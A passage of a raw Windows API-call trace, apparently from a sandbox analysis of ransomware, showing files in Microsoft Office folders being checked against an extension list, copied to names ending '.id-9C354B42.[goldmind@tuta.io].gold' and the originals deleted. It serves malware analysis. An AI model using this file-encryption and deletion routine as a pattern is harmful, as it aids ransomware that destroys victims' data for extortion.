lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0109.414] lstrlenW (lpString=".rar") returned 4 [0109.414] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0109.414] lstrlenW (lpString=".bz2") returned 4 [0109.414] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0109.414] lstrlenW (lpString=".7z") returned 3 [0109.414] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0109.414] lstrlenW (lpString=".dbf") returned 4 [0109.414] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0109.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0109.414] lstrlenW (lpString=".1cd") returned 4 [0109.414] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0109.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0109.414] lstrlenW (lpString=".jpg") returned 4 [0109.414] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0109.414] lstrcmpiW (lpString1=".ACL", lpString2=".gold") returned -1 [0109.414] lstrlenW (lpString="MSO.ACL") returned 7 [0109.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0109.695] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=50556) returned 1 [0109.695] CloseHandle (hObject=0x38c) returned 1 [0109.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl")) returned 0x20 [0109.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0109.718] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.718] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0109.719] GetLastError () returned 0x0 [0109.719] ReadFile (in: hFile=0x398, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0xc57c, lpOverlapped=0x0) returned 1 [0109.740] WriteFile (in: hFile=0x198, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xc580, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xc580, lpOverlapped=0x0) returned 1 [0109.742] ReadFile (in: hFile=0x398, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.742] WriteFile (in: hFile=0x198, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0109.742] SetEndOfFile (hFile=0x198) returned 1 [0109.742] CloseHandle (hObject=0x198) returned 1 [0109.742] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.742] SetEndOfFile (hFile=0x398) returned 1 [0109.815] CloseHandle (hObject=0x398) returned 1 [0109.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.825] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl")) returned 1 [0109.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0109.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0109.835] lstrlenW (lpString=".doc") returned 4 [0109.835] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0109.835] lstrlenW (lpString=".docx") returned 5 [0109.835] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0109.835] lstrlenW (lpString=".pdf") returned 4 [0109.835] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0109.835] lstrlenW (lpString=".xls") returned 4 [0109.835] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0109.835] lstrlenW (lpString=".xlsx") returned 5 [0109.835] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0109.835] lstrlenW (lpString=".ppt") returned 4 [0109.835] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0109.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0109.835] lstrlenW (lpString=".zip") returned 4 [0109.835] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0109.835] lstrlenW (lpString=".rar") returned 4 [0109.835] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0109.835] lstrlenW (lpString=".bz2") returned 4 [0109.835] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0109.835] lstrlenW (lpString=".7z") returned 3 [0109.835] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0109.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0109.835] lstrlenW (lpString=".dbf") returned 4 [0109.835] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0109.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0109.835] lstrlenW (lpString=".1cd") returned 4 [0109.835] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0109.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0109.835] lstrlenW (lpString=".jpg") returned 4 [0109.835] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0109.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0109.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0109.835] lstrlenW (lpString=".doc") returned 4 [0109.835] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0109.835] lstrlenW (lpString=".docx") returned 5 [0109.835] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0109.835] lstrlenW (lpString=".pdf") returned 4 [0109.835] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0109.835] lstrlenW (lpString=".xls") returned 4 [0109.835] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0109.835] lstrlenW (lpString=".xlsx") returned 5 [0109.835] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0109.835] lstrlenW (lpString=".ppt") returned 4 [0109.835] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0109.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0109.836] lstrlenW (lpString=".zip") returned 4 [0109.836] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0109.836] lstrlenW (lpString=".rar") returned 4 [0109.836] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0109.836] lstrlenW (lpString=".bz2") returned 4 [0109.836] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0109.836] lstrlenW (lpString=".7z") returned 3 [0109.836] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0109.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0109.836] lstrlenW (lpString=".dbf") returned 4 [0109.836] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0109.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0109.836] lstrlenW (lpString=".1cd") returned 4 [0109.836] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0109.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0109.836] lstrlenW (lpString=".jpg") returned 4 [0109.836] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0109.836] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0109.836] lstrlenW (lpString="otkloadr_x64.dll") returned 16 [0109.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\otkloadr_x64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0109.837] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=152392) returned 1 [0109.837] CloseHandle (hObject=0x38c) returned 1 [0109.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\otkloadr_x64.dll")) returned 0x20 [0109.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\otkloadr_x64.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\otkloadr_x64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0109.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0109.837] lstrlenW (lpString=".doc") returned 4 [0109.837] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0109.837] lstrlenW (lpString=".docx") returned 5 [0109.837] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0109.837] lstrlenW (lpString=".pdf") returned 4 [0109.837] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0109.837] lstrlenW (lpString=".xls") returned 4 [0109.837] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0109.837] lstrlenW (lpString=".xlsx") returned 5 [0109.837] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0109.837] lstrlenW (lpString=".ppt") returned 4 [0109.837] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0109.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0109.837] lstrlenW (lpString=".zip") returned 4 [0109.837] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0109.837] lstrlenW (lpString=".rar") returned 4 [0109.837] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0109.837] lstrlenW (lpString=".bz2") returned 4 [0109.837] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0109.837] lstrlenW (lpString=".7z") returned 3 [0109.837] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0109.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0109.838] lstrlenW (lpString=".dbf") returned 4 [0109.838] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0109.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0109.838] lstrlenW (lpString=".1cd") returned 4 [0109.838] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0109.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0109.838] lstrlenW (lpString=".jpg") returned 4 [0109.838] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0109.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0109.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0109.838] lstrlenW (lpString=".doc") returned 4 [0109.838] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0109.838] lstrlenW (lpString=".docx") returned 5 [0109.838] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0109.838] lstrlenW (lpString=".pdf") returned 4 [0109.838] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0109.838] lstrlenW (lpString=".xls") returned 4 [0109.838] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0109.838] lstrlenW (lpString=".xlsx") returned 5 [0109.838] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0109.838] lstrlenW (lpString=".ppt") returned 4 [0109.838] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0109.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0109.838] lstrlenW (lpString=".zip") returned 4 [0109.838] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0109.838] lstrlenW (lpString=".rar") returned 4 [0109.838] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0109.838] lstrlenW (lpString=".bz2") returned 4 [0109.838] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0109.838] lstrlenW (lpString=".7z") returned 3 [0109.838] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0109.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0109.838] lstrlenW (lpString=".dbf") returned 4 [0109.838] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0109.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0109.838] lstrlenW (lpString=".1cd") returned 4 [0109.838] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0109.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0109.838] lstrlenW (lpString=".jpg") returned 4 [0109.838] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0109.838] lstrcmpiW (lpString1=".ECF", lpString2=".gold") returned -1 [0109.838] lstrlenW (lpString="OUTEX.ECF") returned 9 [0109.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0109.878] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1926) returned 1 [0109.878] CloseHandle (hObject=0x394) returned 1 [0109.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf")) returned 0x20 [0109.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.937] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.937] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0109.938] GetLastError () returned 0x0 [0109.938] ReadFile (in: hFile=0x3b4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x786, lpOverlapped=0x0) returned 1 [0109.947] WriteFile (in: hFile=0x394, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x790, lpOverlapped=0x0) returned 1 [0109.948] ReadFile (in: hFile=0x3b4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.948] WriteFile (in: hFile=0x394, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0109.948] SetEndOfFile (hFile=0x394) returned 1 [0109.948] CloseHandle (hObject=0x394) returned 1 [0109.948] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.948] SetEndOfFile (hFile=0x3b4) returned 1 [0109.950] CloseHandle (hObject=0x3b4) returned 1 [0109.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf")) returned 1 [0109.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0109.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0109.998] lstrlenW (lpString=".doc") returned 4 [0109.998] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0109.998] lstrlenW (lpString=".docx") returned 5 [0109.998] lstrcmpiW (lpString1=".docx", lpString2="X.ECF") returned -1 [0109.998] lstrlenW (lpString=".pdf") returned 4 [0109.998] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0109.998] lstrlenW (lpString=".xls") returned 4 [0109.998] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0109.998] lstrlenW (lpString=".xlsx") returned 5 [0109.998] lstrcmpiW (lpString1=".xlsx", lpString2="X.ECF") returned -1 [0109.998] lstrlenW (lpString=".ppt") returned 4 [0109.998] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0109.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0109.998] lstrlenW (lpString=".zip") returned 4 [0109.998] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0109.998] lstrlenW (lpString=".rar") returned 4 [0109.998] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0109.998] lstrlenW (lpString=".bz2") returned 4 [0109.998] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0109.998] lstrlenW (lpString=".7z") returned 3 [0109.998] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0109.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0109.998] lstrlenW (lpString=".dbf") returned 4 [0109.998] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0109.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0109.998] lstrlenW (lpString=".1cd") returned 4 [0109.998] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0109.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0109.998] lstrlenW (lpString=".jpg") returned 4 [0109.998] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0109.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0109.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0109.998] lstrlenW (lpString=".doc") returned 4 [0109.998] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0109.998] lstrlenW (lpString=".docx") returned 5 [0109.998] lstrcmpiW (lpString1=".docx", lpString2="X.ECF") returned -1 [0109.998] lstrlenW (lpString=".pdf") returned 4 [0109.998] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0109.998] lstrlenW (lpString=".xls") returned 4 [0109.998] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0109.998] lstrlenW (lpString=".xlsx") returned 5 [0109.999] lstrcmpiW (lpString1=".xlsx", lpString2="X.ECF") returned -1 [0109.999] lstrlenW (lpString=".ppt") returned 4 [0109.999] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0109.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0109.999] lstrlenW (lpString=".zip") returned 4 [0109.999] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0109.999] lstrlenW (lpString=".rar") returned 4 [0109.999] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0109.999] lstrlenW (lpString=".bz2") returned 4 [0109.999] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0109.999] lstrlenW (lpString=".7z") returned 3 [0109.999] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0109.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0109.999] lstrlenW (lpString=".dbf") returned 4 [0109.999] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0109.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0109.999] lstrlenW (lpString=".1cd") returned 4 [0109.999] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0109.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF") returned 59 [0109.999] lstrlenW (lpString=".jpg") returned 4 [0109.999] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0109.999] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0109.999] lstrlenW (lpString="AUDIOSEARCHSAPIFE.DLL") returned 21 [0109.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0109.999] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=2242968) returned 1 [0110.000] CloseHandle (hObject=0x3c4) returned 1 [0110.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll")) returned 0x20 [0110.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.000] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0110.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0110.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0110.000] lstrlenW (lpString=".doc") returned 4 [0110.000] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0110.000] lstrlenW (lpString=".docx") returned 5 [0110.000] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0110.000] lstrlenW (lpString=".pdf") returned 4 [0110.000] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0110.000] lstrlenW (lpString=".xls") returned 4 [0110.000] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0110.000] lstrlenW (lpString=".xlsx") returned 5 [0110.000] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0110.000] lstrlenW (lpString=".ppt") returned 4 [0110.000] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0110.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0110.000] lstrlenW (lpString=".zip") returned 4 [0110.000] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0110.000] lstrlenW (lpString=".rar") returned 4 [0110.000] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 